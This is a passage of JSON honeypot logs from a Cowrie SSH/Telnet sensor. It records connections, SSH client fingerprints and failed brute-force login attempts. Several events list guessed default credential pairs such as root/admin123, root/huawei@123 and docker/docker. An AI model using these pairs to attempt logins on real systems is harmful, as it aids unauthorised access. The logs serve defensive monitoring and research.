{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:09:30.451100Z","src_ip":"103.75.199.4","session":"824937d5acc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890","message":"login attempt [root/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:09:30.738176Z","src_ip":"103.75.199.4","session":"824937d5acc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:09:31.838098Z","src_ip":"103.75.199.4","session":"824937d5acc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.29853701591492,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:09:33.773061Z","src_ip":"142.93.69.27","session":"c59a06a7f997","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.121.31.17","src_port":53638,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5e1b29a96cb","protocol":"ssh","message":"New connection: 124.121.31.17:53638 (10.17.0.5:22) [session: e5e1b29a96cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:09:51.009653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:09:51.024096Z","src_ip":"124.121.31.17","session":"e5e1b29a96cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:09:51.296291Z","src_ip":"124.121.31.17","session":"e5e1b29a96cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":33770,"dst_ip":"159.203.135.109","dst_port":22,"session":"c46a90831b61","protocol":"ssh","message":"New connection: 103.75.199.4:33770 (159.203.135.109:22) [session: c46a90831b61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:09:52.305004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:09:52.309688Z","src_ip":"103.75.199.4","session":"c46a90831b61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wibble","message":"login attempt [root/wibble] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:09:52.384608Z","src_ip":"124.121.31.17","session":"e5e1b29a96cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:09:52.401090Z","src_ip":"103.75.199.4","session":"c46a90831b61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace","message":"login attempt [dspace/dspace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:09:52.674809Z","src_ip":"103.75.199.4","session":"c46a90831b61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:09:53.652460Z","src_ip":"124.121.31.17","session":"e5e1b29a96cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:09:53.769050Z","src_ip":"103.75.199.4","session":"c46a90831b61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.209.121.72","src_port":46386,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a48c7b27450","protocol":"ssh","message":"New connection: 205.209.121.72:46386 (10.17.0.5:22) [session: 2a48c7b27450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:09:58.607796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:09:58.612774Z","src_ip":"205.209.121.72","session":"2a48c7b27450","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:09:58.618509Z","src_ip":"205.209.121.72","session":"2a48c7b27450","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:09:58.673207Z","src_ip":"205.209.121.72","session":"2a48c7b27450","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:09:59.683194Z","src_ip":"205.209.121.72","session":"2a48c7b27450","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":34064,"dst_ip":"10.17.0.5","dst_port":22,"session":"bef8966ef800","protocol":"ssh","message":"New connection: 43.163.119.215:34064 (10.17.0.5:22) [session: bef8966ef800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:01.685357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:01.709173Z","src_ip":"43.163.119.215","session":"bef8966ef800","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:01.951149Z","src_ip":"43.163.119.215","session":"bef8966ef800","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:02.906712Z","src_ip":"43.163.119.215","session":"bef8966ef800","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:04.156644Z","src_ip":"43.163.119.215","session":"bef8966ef800","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":42580,"dst_ip":"10.17.0.5","dst_port":22,"session":"10b4a564532f","protocol":"ssh","message":"New connection: 43.163.119.215:42580 (10.17.0.5:22) [session: 10b4a564532f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:08.215002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:08.220411Z","src_ip":"43.163.119.215","session":"10b4a564532f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:08.467124Z","src_ip":"43.163.119.215","session":"10b4a564532f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei@123","message":"login attempt [root/huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:09.226622Z","src_ip":"43.163.119.215","session":"10b4a564532f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:10.477762Z","src_ip":"43.163.119.215","session":"10b4a564532f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":42582,"dst_ip":"10.17.0.5","dst_port":22,"session":"9af47ab3bc6e","protocol":"ssh","message":"New connection: 43.163.119.215:42582 (10.17.0.5:22) [session: 9af47ab3bc6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:10.704979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:10.710433Z","src_ip":"43.163.119.215","session":"9af47ab3bc6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:10.957692Z","src_ip":"43.163.119.215","session":"9af47ab3bc6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zahra","password":"12345678","message":"login attempt [zahra/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:11.697931Z","src_ip":"43.163.119.215","session":"9af47ab3bc6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:12.947310Z","src_ip":"43.163.119.215","session":"9af47ab3bc6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":55702,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fa639f9682f","protocol":"ssh","message":"New connection: 103.75.199.4:55702 (159.203.135.109:22) [session: 6fa639f9682f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:14.223805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:14.231380Z","src_ip":"103.75.199.4","session":"6fa639f9682f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:14.324846Z","src_ip":"103.75.199.4","session":"6fa639f9682f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker","message":"login attempt [docker/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:14.606587Z","src_ip":"103.75.199.4","session":"6fa639f9682f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:15.703444Z","src_ip":"103.75.199.4","session":"6fa639f9682f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":49916,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e215f09c1dc","protocol":"ssh","message":"New connection: 43.163.119.215:49916 (10.17.0.5:22) [session: 9e215f09c1dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:16.027582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:10:16.034767Z","src_ip":"43.163.119.215","session":"9e215f09c1dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hma